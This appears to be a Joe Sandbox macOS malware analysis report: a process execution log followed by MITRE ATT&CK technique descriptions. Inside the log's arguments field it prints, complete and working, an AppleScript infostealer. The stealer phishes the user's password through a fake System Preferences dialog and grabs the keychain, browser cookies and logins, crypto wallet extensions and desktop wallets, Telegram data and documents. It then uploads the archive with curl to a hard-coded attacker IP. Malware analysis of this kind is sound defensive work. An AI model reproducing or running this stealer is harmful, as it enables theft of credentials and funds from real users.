Path:	/bin/sh
Arguments:	-
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:52
Start date (UTC):	19/01/2025
Path:	/usr/bin/osascript
Arguments:	osascript -e set release to trueset filegrabbers to trueon filesizer(paths)set fsz to 0tryset theItem to quoted form of POSIX path of pathsset fsz to (do shell script '/usr/bin/mdls -name kMDItemFSSize -raw ' & theItem)end tryreturn fszend filesizeron mkdir(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)do shell script 'mkdir -p ' & filePosixPathend tryend mkdiron FileName(filePath)tryset reversedPath to (reverse of every character of filePath) as stringset trimmedPath to text 1 thru ((offset of '/' in reversedPath) - 1) of reversedPathset finalPath to (reverse of every character of trimmedPath) as stringreturn finalPathend tryend FileNameon BeforeFileName(filePath)tryset lastSlash to offset of '/' in (reverse of every character of filePath) as stringset trimmedPath to text 1 thru -(lastSlash + 1) of filePathreturn trimmedPathend tryend BeforeFileNameon writeText(textToWrite, filePath)tryset folderPath to BeforeFileName(filePath)mkdir(folderPath)set fileRef to (open for access filePath with write permission)write textToWrite to fileRef starting at eofclose access fileRefend tryend writeTexton readwrite(path_to_file, path_as_save)tryset fileContent to read path_to_fileset folderPath to BeforeFileName(path_as_save)mkdir(folderPath)do shell script 'cat ' & quoted form of path_to_file & ' > ' & quoted form of path_as_saveend tryend readwriteon readwrite2(path_to_file, path_as_save)tryset folderPath to do shell script 'dirname ' & quoted form of path_as_savemkdir(folderPath)tell application 'Finder' set sourceFile to POSIX file path_to_file as alias set destinationFolder to POSIX file folderPath as alias duplicate sourceFile to destinationFolder with replacingend tellend tryend readwrite2on isDirectory(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)set fileType to (do shell script 'file -b ' & filePosixPath)if fileType ends with 'directory' thenreturn trueend ifreturn falseend tryend isDirectoryon GrabFolderLimit(sourceFolder, destinationFolder)tryset bankSize to 0set exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolderLimit(itemPath, savePath)elseset fsz to filesizer(itemPath)set bankSize to bankSize + fszif bankSize < 10 * 1024 * 1024 thenreadwrite(itemPath, savePath)end ifend ifend ifend repeatend tryend GrabFolderLimiton GrabFolder(sourceFolder, destinationFolder)tryset exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews', 'dumps', 'emoji', 'user_data', '__update__', 'user_data#2', 'user_data#3'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolder(itemPath, savePath)elsereadwrite(itemPath, savePath)end ifend ifend repeatend tryend GrabFolderon parseFF(firefox, writemind)tryset myFiles to {'/cookies.sqlite', '/formhistory.sqlite', '/key4.db', '/logins.json'}set fileList to list folder firefox without invisiblesrepeat with currentItem in fileListset fpath to writemind & 'ff/' & currentItemset readpath to firefox & currentItemrepeat with FFile in myFilesreadwrite(readpath & FFile, fpath & FFile)end repeatend repeatend tryend parseFFon checkvalid(username, password_entered)tryset result to do shell script 'dscl . authonly ' & quoted form of username & space & quoted form of password_enteredif result is not equal to '' thenreturn falseelsereturn trueend ifon errorreturn falseend tryend checkvalidon getpwd(username, writemind)tryif checkvalid(username, '') thenset result to do shell script 'security 2>&1 > /dev/null find-generic-password -ga \'Chrome\' \| awk \'{print $2}\''writeText(result as string, writemind & 'masterpass-chrome')elserepeatset result to display dialog 'Required Application Helper.\nPlease enter password for continue.' default answer '' with icon caution buttons {'Continue'} default button 'Continue' giving up after 150 with title 'System Preferences' with hidden answerset password_entered to text returned of resultif checkvalid(username, password_entered) thenwriteText(password_entered, writemind & 'pwd')return password_enteredend ifend repeatend ifend tryreturn ''end getpwdon grabPlugins(paths, savePath, pluginList, index)tryset fileList to list folder paths without invisiblesrepeat with PFile in fileListrepeat with Plugin in pluginListif (PFile contains Plugin) thenset newpath to paths & PFileset newsavepath to savePath & '/' & Pluginif index thenset newsavepath to newsavepath & '/IndexedDB/'end ifGrabFolder(newpath, newsavepath)end ifend repeatend repeatend tryend grabPluginson chromium(writemind, chromium_map)set pluginList to {'keenhcnmdmjjhincpilijphpiohdppno', 'hbbgbephgojikajhfbomhlmmollphcad', 'cjmkndjhnagcfbpiemnkdpomccnjblmj', 'dhgnlgphgchebgoemcjekedjjbifijid', 'hifafgmccdpekplomjjkcfgodnhcellj', 'kamfleanhcmjelnhaeljonilnmjpkcjc', 'jnldfbidonfeldmalbflbmlebbipcnle', 'fdcnegogpncmfejlfnffnofpngdiejii', 'klnaejjgbibmhlephnhpmaofohgkpgkd', 'pdadjkfkgcafgbceimcpbkalnfnepbnk', 'kjjebdkfeagdoogagbhepmbimaphnfln', 'ldinpeekobnhjjdofggfgjlcehhmanlj', 'dkdedlpgdmmkkfjabffeganieamfklkm', 'bcopgchhojmggmffilplmbdicgaihlkp', 'kpfchfdkjhcoekhdldggegebfakaaiog', 'idnnbdplmphpflfnlkomgpfbpcgelopg', 'mlhakagmgkmonhdonhkpjeebfphligng', 'bipdhagncpgaccgdbddmbpcabgjikfkn', 'gcbjmdjijjpffkpbgdkaojpmaninaion', 'nhnkbkgjikgcigadomkphalanndcapjk', 'bhhhlbepdkbapadjdnnojkbgioiodbic', 'hoighigmnhgkkdaenafgnefkcmipfjon', 'klghhnkeealcohjjanjjdaeeggmfmlpl', 'nkbihfbeogaeaoehlefnkodbefgpgknn', 'fhbohimaelbohpjbbldcngcnapndodjp', 'ebfidpplhabeedpnhjnobghokpiioolj', 'emeeapjkbcbpbpgaagfchmcgglmebnen', 'fldfpgipfncgndfolcbkdeeknbbbnhcc', 'penjlddjkjgpnkllboccdgccekpkcbin', 'fhilaheimglignddkjgofkcbgekhenbh', 'hmeobnfnfcmdkdcmlblgagmfpfboieaf', 'cihmoadaighcejopammfbmddcmdekcje', 'lodccjjbdhfakaekdiahmedfbieldgik', 'omaabbefbmiijedngplfjmnooppbclkk', 'cjelfplplebdjjenllpjcblmjkfcffne', 'jnlgamecbpmbajjfhmmmlhejkemejdma', 'fpkhgmpbidmiogeglndfbkegfdlnajnf', 'bifidjkcdpgfnlbcjpdkdcnbiooooblg', 'amkmjjmmflddogmhpjloimipbofnfjih', 'flpiciilemghbmfalicajoolhkkenfel', 'hcflpincpppdclinealmandijcmnkbgn', 'aeachknmefphepccionboohckonoeemg', 'nlobpakggmbcgdbpjpnagmdbdhdhgphk', 'momakdpclmaphlamgjcndbgfckjfpemp', 'mnfifefkajgofkcjkemidiaecocnkjeh', 'fnnegphlobjdpkhecapkijjdkgcjhkib', 'ehjiblpccbknkgimiflboggcffmpphhp', 'ilhaljfiglknggcoegeknjghdgampffk', 'pgiaagfkgcbnmiiolekcfmljdagdhlcm', 'fnjhmkhhmkbjkkabndcnnogagogbneec', 'bfnaelmomeimhlpmgjnjophhpkkoljpa', 'imlcamfeniaidioeflifonfjeeppblda', 'mdjmfdffdcmnoblignmgpommbefadffd', 'ooiepdgjjnhcmlaobfinbomgebfgablh', 'pcndjhkinnkaohffealmlmhaepkpmgkb', 'ppdadbejkmjnefldpcdjhnkpbjkikoip', 'cgeeodpfagjceefieflmdfphplkenlfk', 'dlcobpjiigpikoobohmabehhmhfoodbb', 'jiidiaalihmmhddjgbnbgdfflelocpak', 'bocpokimicclpaiekenaeelehdjllofo', 'pocmplpaccanhmnllbbkpgfliimjljgo', 'cphhlgmgameodnhkjdmkpanlelnlohao', 'mcohilncbfahbmgdjkbpemcciiolgcge', 'bopcbmipnjdcdfflfgjdgdjejmgpoaab', 'khpkpbbcccdmmclmpigdgddabeilkdpd', 'ejjladinnckdgjemekebdpeokbikhfci', 'phkbamefinggmakgklpkljjmgibohnba', 'epapihdplajcdnnkdeiahlgigofloibg', 'hpclkefagolihohboafpheddmmgdffjm', 'cjookpbkjnpkmknedggeecikaponcalb', 'cpmkedoipcpimgecpmgpldfpohjplkpp', 'modjfdjcodmehnpccdjngmdfajggaoeh', 'ibnejdfjmmkpcnlpebklmnkoeoihofec', 'afbcbjpbpfadlkmhmclhkeeodmamcflc', 'kncchdigobghenbbaddojjnnaogfppfj', 'efbglgofoippbgcjepnhiblaibcnclgk', 'mcbigmjiafegjnnogedioegffbooigli', 'fccgmnglbhajioalokbcidhcaikhlcpm', 'hnhobjmcibchnmglfbldbfabcgaknlkj', 'apnehcjmnengpnmccpaibjmhhoadaico', 'enabgbdfcbaehmbigakijjabdpdnimlg', 'mgffkfbidihjpoaomajlbgchddlicgpn', 'fopmedgnkfpebgllppeddmmochcookhc', 'jojhfeoedkpkglbfimdfabpdfjaoolaf', 'ammjlinfekkoockogfhdkgcohjlbhmff', 'abkahkcbhngaebpcgfmhkoioedceoigp', 'dcbjpgbkjoomeenajdabiicabjljlnfp', 'gkeelndblnomfmjnophbhfhcjbcnemka', 'pnndplcbkakcplkjnolgbkdgjikjednm', 'copjnifcecdedocejpaapepagaodgpbh', 'hgbeiipamcgbdjhfflifkgehomnmglgk', 'mkchoaaiifodcflmbaphdgeidocajadp', 'ellkdbaphhldpeajbepobaecooaoafpg', 'mdnaglckomeedfbogeajfajofmfgpoae', 'nknhiehlklippafakaeklbeglecifhad', 'ckklhkaabbmdjkahiaaplikpdddkenic', 'fmblappgoiilbgafhjklehhfifbdocee', 'nphplpgoakhhjchkkhmiggakijnkhfnd', 'cnmamaachppnkjgnildpdmkaakejnhae', 'fijngjgcjhjmmpcmkeiomlglpeiijkld', 'niiaamnmgebpeejeemoifgdndgeaekhe', 'odpnjmimokcmjgojhnhfcnalnegdjmdn', 'lbjapbcmmceacocpimbpbidpgmlmoaao', 'hnfanknocfeofbddgcijnmhnfnkdnaad', 'hpglfhgfnhbgpjdenjgmdgoeiappafln', 'egjidjbpglichdcondbcbdnbeeppgdph', 'ibljocddagjghmlpgihahamcghfggcjc', 'gkodhkbmiflnmkipcmlhhgadebbeijhh', 'dbgnhckhnppddckangcjbkjnlddbjkna', 'mfhbebgoclkghebffdldpobeajmbecfk', 'nlbmnnijcnlegkjjpcfjclmcfggfefdm', 'nlgbhdfgdhgbiamfdfmbikcdghidoadd', 'acmacodkjbdgmoleebolmdjonilkdbch', 'agoakfejjabomempkjlepdflaleeobhb', 'dgiehkgfknklegdhekgeabnhgfjhbajd', 'onhogfjeacnfoofkfgppdlbmlmnplgbn', 'kkpehldckknjffeakihjajcjccmcjflh', 'jaooiolkmfcmloonphpiiogkfckgciom', 'ojggmchlghnjlapmfbnjholfjkiidbch', 'pmmnimefaichbcnbndcfpaagbepnjaig', 'oiohdnannmknmdlddkdejbmplhbdcbee', 'aiifbnbfobpmeekipheeijimdpnlpgpp', 'aholpfdialjgjfhomihkjbmgjidlcdno', 'anokgmphncpekkhclmingpimjmcooifb', 'kkpllkodjeloidieedojogacfhpaihoh', 'iokeahhehimjnekafflcihljlcjccdbe', 'ifckdpamphokdglkkdomedpdegcjhjdp', 'loinekcabhlmhjjbocijdoimmejangoa', 'fcfcfllfndlomdhbehjjcoimbgofdncg', 'ifclboecfhkjbpmhgehodcjpciihhmif', 'dmkamcknogkgcdfhhbddcghachkejeap', 'ookjlbkiijinhpmnjffcofjonbfbgaoc', 'oafedfoadhdjjcipmcbecikgokpaphjk', 'mapbhaebnddapnmifbbkgeedkeplgjmf', 'cmndjbecilbocjfkibfbifhngkdmjgog', 'kpfopkelmapcoipemfendmdcghnegimn', 'lgmpcpglpngdoalbgeoldeajfclnhafa', 'ppbibelpcjmhbdihakflkdcoccbgbkpo', 'ffnbelfdoeiohenkjibnmadjiehjhajb', 'opcgpfmipidbgpenhmajoajpbobppdil', 'lakggbcodlaclcbbbepmkpdhbcomcgkd', 'kgdijkcfiglijhaglibaidbipiejjfdp', 'hdkobeeifhdplocklknbnejdelgagbao', 'lnnnmfcpbkafcpgdilckhmhbkkbpkmid', 'nbdhibgjnjpnkajaghbffjbkcgljfgdi', 'kmhcihpebfmpgmihbkipmjlmmioameka', 'kmphdnilpmdejikjdnlbcnmnabepfgkh', 'nngceckbapebfimnlniiiahkandclblb'}set chromiumFiles to {'/Network/Cookies', '/Cookies', '/Web Data', '/Login Data', '/Local Extension Settings/', '/IndexedDB/'}repeat with chromium in chromium_mapset savePath to writemind & 'Chromium/' & item 1 of chromium & '_'tryset fileList to list folder item 2 of chromium without invisiblesrepeat with currentItem in fileListif ((currentItem as string) is equal to 'Default') or ((currentItem as string) contains 'Profile') thenrepeat with CFile in chromiumFilesset readpath to (item 2 of chromium & currentItem & CFile)if ((CFile as string) is equal to '/Network/Cookies') thenset CFile to '/Cookies'end ifif ((CFile as string) is equal to '/Local Extension Settings/') thengrabPlugins(readpath, savePath & currentItem, pluginList, false)else if (CFile as string) is equal to '/IndexedDB/' thengrabPlugins(readpath, savePath & currentItem, pluginList, true)elseset writepath to savePath & currentItem & CFilereadwrite(readpath, writepath)end ifend repeatend ifend repeatend tryend repeatend chromiumon telegram(writemind, library)tryGrabFolder(library & 'Telegram Desktop/tdata/', writemind & 'Telegram Data/')end tryend telegramon deskwallets(writemind, deskwals)repeat with deskwal in deskwalstryGrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)end tryend repeatend deskwalletson filegrabber(writemind)tryset destinationFolderPath to POSIX file (writemind & 'FileGrabber/')mkdir(destinationFolderPath)set photosPath to POSIX file (writemind & 'FileGrabber/NotesFiles/')mkdir(photosPath)set extensionsList to {'txt', 'pdf', 'docx', 'wallet', 'key', 'keys', 'doc'}set bankSize to 0tell application 'Finder'tryset safariFolderPath to (path to home folder as text) & 'Library:Cookies:'duplicate file (safariFolderPath & 'Cookies.binarycookies') to folder destinationFolderPath with replacingset name of result to 'saf1'end trytryset safariFolder to ((path to library folder from user domain as text) & 'Containers:com.apple.Safari:Data:Library:Cookies:')tryduplicate file 'Cookies.binarycookies' of folder safariFolder to folder destinationFolderPath with replacingend tryset notesFolderPath to (path to home folder as text) & 'Library:Group Containers:group.com.apple.notes:'set notesAccounts to folder (notesFolderPath & 'Accounts:LocalAccount:Media')duplicate notesAccounts to photosPath with replacingduplicate notesAccounts to POSIX file photosPath as alias with replacingset notesFolder to folder notesFolderPathset notesFiles to {'NoteStore.sqlite', 'NoteStore.sqlite-shm', 'NoteStore.sqlite-wal'}repeat with fileName in notesFilesset sourceFile to file fileName of notesFolderduplicate sourceFile to POSIX file destinationFolderPath as alias with replacingend repeatend trytryset desktopFiles to every file of desktopset documentsFiles to every file of folder 'Documents' of (path to home folder)set downloadsFiles to every file of folder 'Downloads' of (path to home folder)repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)set fileExtension to name extension of aFileif fileExtension is in extensionsList thenset filesize to size of aFileif filesize < 3 * 1024 * 1024 thenif (bankSize + filesize) < 30 * 1024 * 1024 thentryduplicate aFile to folder destinationFolderPath with replacingset bankSize to bankSize + filesizeend tryelseexit repeatend ifend ifend ifend repeatend tryend tellend tryend filegrabberon send_data(attempt) try set result_send to (do shell script 'curl -X POST -H \'user: ymM2-77UrW/epIPnrITeT7qu1/XI5sTSC8oK392uMYc=\' -H \'BuildID: GJ/sZekKeEGa8X-KPvO2Y5O6k02IBQT82R/9YoFGnD0=\' -H \'cl: 0\' -H \'cn: 0\' --max-time 300 -retry 5 -retry-delay 10 -F \'file=@/tmp/out.zip\' http://81.19.135.54/joinsystem') on error if attempt < 40 then delay 3 send_data(attempt + 1) end if end tryend send_dataset username to (system attribute 'USER')set profile to '/Users/' & usernameset randomNumber to do shell script 'echo $((RANDOM % 9000 + 1000))'set writemind to '/tmp/' & randomNumber & '/'tryset result to (do shell script 'system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType')writeText(result, writemind & 'info')end tryset library to profile & '/Library/Application Support/'set password_entered to getpwd(username, writemind)delay 0.01set chromiumMap to {{'Chrome', library & 'Google/Chrome/'}, {'Brave', library & 'BraveSoftware/Brave-Browser/'}, {'Edge', library & 'Microsoft Edge/'}, {'Vivaldi', library & 'Vivaldi/'}, {'Opera', library & 'com.operasoftware.Opera/'}, {'OperaGX', library & 'com.operasoftware.OperaGX/'}, {'Chrome Beta', library & 'Google/Chrome Beta/'}, {'Chrome Canary', library & 'Google/Chrome Canary'}, {'Chromium', library & 'Chromium/'}, {'Chrome Dev', library & 'Google/Chrome Dev/'}, {'Arc', library & 'Arc/'}, {'Coccoc', library & 'Coccoc/'}}set walletMap to {{'deskwallets/Electrum', profile & '/.electrum/wallets/'}, {'deskwallets/Coinomi', library & 'Coinomi/wallets/'}, {'deskwallets/Exodus', library & 'Exodus/'}, {'deskwallets/Atomic', library & 'atomic/Local Storage/leveldb/'}, {'deskwallets/Wasabi', profile & '/.walletwasabi/client/Wallets/'}, {'deskwallets/Ledger_Live', library & 'Ledger Live/'}, {'deskwallets/Monero', profile & '/Monero/wallets/'}, {'deskwallets/Bitcoin_Core', library & 'Bitcoin/wallets/'}, {'deskwallets/Litecoin_Core', library & 'Litecoin/wallets/'}, {'deskwallets/Dash_Core', library & 'DashCore/wallets/'}, {'deskwallets/Electrum_LTC', profile & '/.electrum-ltc/wallets/'}, {'deskwallets/Electron_Cash', profile & '/.electron-cash/wallets/'}, {'deskwallets/Guarda', library & 'Guarda/'}, {'deskwallets/Dogecoin_Core', library & 'Dogecoin/wallets/'}, {'deskwallets/Trezor_Suite', library & '@trezor/suite-desktop/'}}readwrite(library & 'Binance/app-store.json', writemind & 'deskwallets/Binance/app-store.json')readwrite(library & '@tonkeeper/desktop/config.json', 'deskwallets/TonKeeper/config.json')readwrite(profile & '/Library/Keychains/login.keychain-db', writemind & 'keychain')if release thenreadwrite2(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite', writemind & 'FileGrabber/NoteStore.sqlite')readwrite2(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal', writemind & 'FileGrabber/NoteStore.sqlite-wal')readwrite2(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm', writemind & 'FileGrabber/NoteStore.sqlite-shm')readwrite2(profile & '/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies', writemind & 'FileGrabber/Cookies.binarycookies')readwrite(profile & '/Library/Cookies/Cookies.binarycookies', writemind & 'FileGrabber/saf1')end ifif filegrabbers thenfilegrabber(writemind)end ifwriteText(username, writemind & 'username')set ff_paths to {library & 'Firefox/Profiles/', library & 'Waterfox/Profiles/', library & 'Pale Moon/Profiles/'}repeat with firefox in ff_pathstryparseFF(firefox, writemind)end tryend repeatchromium(writemind, chromiumMap)deskwallets(writemind, walletMap)telegram(writemind, library)do shell script 'ditto -c -k --sequesterRsrc ' & writemind & ' /tmp/out.zip'send_data(0)do shell script 'rm -r ' & writeminddo shell script 'rm /tmp/out.zip'
File size:	43232 bytes
MD5 hash:	f13b7c85f3c1c08fae3b709a536281a1

Start time (UTC):	19:31:53
Start date (UTC):	19/01/2025
Path:	/usr/bin/osascript
Arguments:	-
File size:	43232 bytes
MD5 hash:	f13b7c85f3c1c08fae3b709a536281a1

Start time (UTC):	19:31:53
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	sh -c echo $((RANDOM % 9000 + 1000))
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:53
Start date (UTC):	19/01/2025
Path:	/usr/bin/osascript
Arguments:	-
File size:	43232 bytes
MD5 hash:	f13b7c85f3c1c08fae3b709a536281a1

Start time (UTC):	19:31:53
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:53
Start date (UTC):	19/01/2025
Path:	/usr/sbin/system_profiler
Arguments:	system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType
File size:	45472 bytes
MD5 hash:	271feb2b4c0447da2b7ac523f13a4824

Start time (UTC):	19:31:53
Start date (UTC):	19/01/2025
Path:	/usr/sbin/system_profiler
Arguments:	-
File size:	45472 bytes
MD5 hash:	271feb2b4c0447da2b7ac523f13a4824

Start time (UTC):	19:31:53
Start date (UTC):	19/01/2025
Path:	/usr/bin/csrutil
Arguments:	-
File size:	29760 bytes
MD5 hash:	f2a9b92081c186a37d886e93bc238a40

Start time (UTC):	19:31:54
Start date (UTC):	19/01/2025
Path:	/usr/sbin/system_profiler
Arguments:	-
File size:	45472 bytes
MD5 hash:	271feb2b4c0447da2b7ac523f13a4824

Start time (UTC):	19:31:54
Start date (UTC):	19/01/2025
Path:	/usr/sbin/system_profiler
Arguments:	-
File size:	45472 bytes
MD5 hash:	271feb2b4c0447da2b7ac523f13a4824

Start time (UTC):	19:31:54
Start date (UTC):	19/01/2025
Path:	/usr/bin/osascript
Arguments:	-
File size:	43232 bytes
MD5 hash:	f13b7c85f3c1c08fae3b709a536281a1

Start time (UTC):	19:31:54
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	sh -c mkdir -p '/tmp/4302'
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:54
Start date (UTC):	19/01/2025
Path:	/bin/mkdir
Arguments:	mkdir -p /tmp/4302
File size:	18592 bytes
MD5 hash:	bbbaafd2a4d7dcb9ddd178d814fea708

Start time (UTC):	19:31:54
Start date (UTC):	19/01/2025
Path:	/usr/bin/osascript
Arguments:	-
File size:	43232 bytes
MD5 hash:	f13b7c85f3c1c08fae3b709a536281a1

Start time (UTC):	19:31:54
Start date (UTC):	19/01/2025
Path:	/bin/sh
Arguments:	sh -c dscl . authonly 'root' ''
File size:	618480 bytes
MD5 hash:	be55e8952a262d0e524239dbf82191ed

Start time (UTC):	19:31:54
Start date (UTC):	19/01/2025
Path:	/usr/bin/dscl
Arguments:	dscl . authonly root
File size:	202560 bytes
MD5 hash:	9a2337f2a5a6271e0187153296de3c9f

Start time (UTC):	19:31:55
Start date (UTC):	19/01/2025
Path:	/usr/libexec/xpcproxy
Arguments:	-
File size:	44048 bytes
MD5 hash:	4764d9eafe6b7dac23253a9f8b7f73d6

Start time (UTC):	19:31:55
Start date (UTC):	19/01/2025
Path:	/usr/libexec/dirhelper
Arguments:	/usr/libexec/dirhelper
File size:	39376 bytes
MD5 hash:	23edb05ab305e115e8874baa5b1e3004

Start time (UTC):	19:32:41
Start date (UTC):	19/01/2025
Path:	/usr/libexec/xpcproxy
Arguments:	-
File size:	44048 bytes
MD5 hash:	4764d9eafe6b7dac23253a9f8b7f73d6

Start time (UTC):	19:32:41
Start date (UTC):	19/01/2025
Path:	/usr/libexec/firmwarecheckers/eficheck/eficheck
Arguments:	/usr/libexec/firmwarecheckers/eficheck/eficheck --integrity-check-daemon
File size:	74048 bytes
MD5 hash:	328beb81a2263449258057506bb4987f

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Tactics:	Execution
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	macOS
Url:	Open detailed description by Mitre

Description:	An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment . Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.
Tactics:	Execution
Data Sources:	File: File Creation, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

macOS Analysis Report

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

